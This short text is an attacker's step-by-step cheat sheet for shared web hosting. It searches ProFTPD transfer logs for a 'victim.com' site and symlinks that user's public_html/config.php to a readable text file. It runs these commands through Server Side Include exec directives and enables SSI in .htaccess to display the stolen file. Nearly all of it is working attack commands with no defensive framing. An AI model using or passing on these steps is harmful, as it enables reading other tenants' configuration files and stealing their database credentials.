I. Server Side Includes
II. Find Victim:
cd /var/log/proftpd
more xferlog.*|grep victim.com
cat xferlog.*|grep victim.com
or go to step IV
<!--#exec cmd="more xferlog.*|grep victim.com" -->

III. Symlink:
ln -s /home/...../public_html/config.php config.txt
or go to step IV
<!--#exec cmd="ln -s /home/...../public_html/config.php config.txt" -->
IV. View - Use Server Side Includes:
Create cmd.shtml with content:
<!--#include virtual="config.txt" -->

V. Note:
.htaccess
Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml